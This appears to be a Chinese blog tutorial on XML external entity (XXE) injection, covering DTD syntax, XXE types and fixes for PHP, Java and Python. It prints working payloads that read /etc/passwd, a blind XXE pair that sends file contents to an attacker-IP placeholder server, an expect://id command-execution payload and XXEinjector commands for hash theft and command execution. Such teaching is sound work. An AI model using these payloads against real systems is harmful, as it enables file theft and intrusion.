【Web安全攻防从入门到精通】XXE漏洞

XXE漏洞

XXE概述

XXE,即XML外部实体注入。该漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

文档结构

XML是可扩展的标记语言,设计用来进行数据的传播和存储。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!-- XML 声明 -->
<?xml Version="1.0"?>
<!-- 文档类型定义 -->
<!DOCTYPE note [ <!-- 定义此文档是note类型的文档-->
<!ELEMENT note (to,from,heading,body)>   <!-- 定义note元素由四个元素-->
<!ELEMENT to (#PCDATA)> <!-- 定义to元素为“#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!-- 定义from元素为“#PCDATA”类型-->
<!ELEMENT heading (#PCDATA)> <!-- 定义heading元素为“#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!-- 定义body元素为“#PCDATA”类型-->
]]]>
<!-- 文档元素 -->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <heading>Reminder</heading>
    <body>You are a good man</body>
</note>

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地生命与XML文档中,也可作一个外部引用

  1. 内部的DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]>
  1. 外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD实体

  1. 内部实体声明
<!ENTITY 实体类型 "实体的值">
  1. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
  1. 参数实体声明
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI/URL">

三种实体声明方式的使用区别如下:

  1. 参数实体用%实体名称声明,引用时也用%实体名称;其余实体直接用实体名称声明,引用时用&实体名称
  2. 参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可在XML文档中引用。

XXE漏洞原理

XXE即XML外部实体注入。

注入:指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击的目的。

外部实体:指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。

所以,XXE是指XML数据在传输过程中,利用外部实体声明部分的”SYSTEM“关键词,导致XML解析器可以从本地文件或者远程URL中读取数据。

XXE分类

按照构造外部实体声明的方法不同,分为:

  • 直接通过DTD外部实体声明
  • 通过DTD文档引入外部DTD文档中的外部实体声明
  • 通过DTD外部实体声明引入DTD文档中的外部实体声明

按照XXE回显信息不同,分为:

  • 正常回显XXE
  • 报错回显XXE
  • Blind XXE

按构造外部实体声明

  1. 直接通过DTD外部尸体声明
<?xml version="1.0"?>
	<!DOCTYPE Quan[
	<!ENTITY f SYSTEM "file:///etc/passwd">	
	]>

<hhh>&f;</hhh>
  1. 通过DTD文档引入外部DTD文档中的外部实体声明
<!-- XML文件内容 -->
<?xml version"1.0"?>
	<!DOCTYPE Quan SYSTEM "https://xxx.xx/xx.dtd">

<hhh>&f;</hhh>

<!-- DTD文件内容 -->
<!ENTITY f SYSTEM "file:///etc/passwd">
  1. 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<!-- 实体声明 -->
<?xml version="1.0"?>
	<!DOCTYPE Quan[
	<!ENTITY f SYSTEM "https://xxx.xx/xx.dtd">
	]>

<!-- xx.dtd的外部实体声明内容 -->
<!ENTITY f SYSTEM "file:///etc/passwd">

按回显信息

  1. 正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器直接回显信息,可直接完成XXE攻击

  1. 报错XXE

报错XXE是回显XXE攻击的一种特例,他与正常回显XXE不同在于,利用的是过程中服务器回显的错误信息,可根据错误信息的不同判断是否注入成功。

  1. Blind XXE

当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE的不同之处在于,BlindXXE无回显信息,可组合利用file协议来读取文件,或者利用http协议和FTP协议来查看日志。

BlindXXE主要使用DTD约束中的参数实体和内部实体。参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个试题中定义的另一个实体。

<!-- 嵌套定义 -->
<?xml version="1.0"?>
	<!DOCTYPE Note[
	<!ENTITY % file SYSTEM "file:///C:/1.txt">
	<!ENTITY % remote SYSTEM "https://攻击机IP/xx.xml">
	%remote
	%all
	]>

<root>&send;</root>
<!-- xx.xml内容 -->
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://xxx.xx/1.php?file=%file;'>">

%remote引入外部XML文件到这个XML中,%all检测到send实体,在root节点引入send实体,便可实现数据转发。

利用过程:如上述代码第三行,存在漏洞的服务器会读取出file的内容(C:/1.txt),通过xx.xml带外通道发送给攻击者服务器上的1.php,1.php会把读取到的数据保存到本地的1.txt中,即可完成攻击。

危害

  • 读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件、还可以利用PHP伪协议。XML在各语言下均有支持的协议。

<?xml version="1.0"?>
	<!DOCTYPE Quan[
	<!ENTITY f SYSTEM "file:///etc/passwd">
	]>

<hhh>&f;</hhh>
libxml2 PHP JAVA .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar
  • 执行系统命令

这种情况很少发送,但在配置不当/开发内部应用的情况下(如PHP expect模块加载到了易受攻击的系统或者处理XML的内部应用程序上),攻击者能够通过XXE执行代码。

<?xml version="1.0">
	<!DOCTYPE Quan[
	<!ENTITY f SYSTEM "expect://id">
	]>

<hhh>&f;</hhh>
  • 探测内网端口

可根据返回信息内容判断端口是否打开。若测试端口返回”Connection refused“则说明该端口是closed的,否则为open。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
	<!ENTITY Quan SYSTEM "https://xxxx:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

XXEinjector

一款基于Ruby的XXE注入工具,可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用其他应用程序。

使用方法

  • 枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  • 使用gopher(OOB方法)枚举/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  • 二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
  • 使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http -netdoc
  • 通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
  • 枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
  • 窃取Windows哈希
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt -hashes
  • 使用Java jar上传文件
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
  • 使用PHP expect执行系指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
  • 测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt -xslt
  • 记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

防御

  1. 关键词修复方法

过滤用户提交的XML数据,并过滤关键词<!DOCTYPE和<!ENTITY,或SYSTEM和PUBLIC。

  1. php修复方法

PHP语言修复方法,禁用/启用加载外部实体功能。将该函数功能设置为启用(true)函数(libxml_disable_entity_loader(true);)即可。

  1. JAVA修复方法
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  1. Python修复方法
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
posted @ 2022-10-29 15:47  灰心爷爷  阅读(240)  评论(0编辑  收藏  举报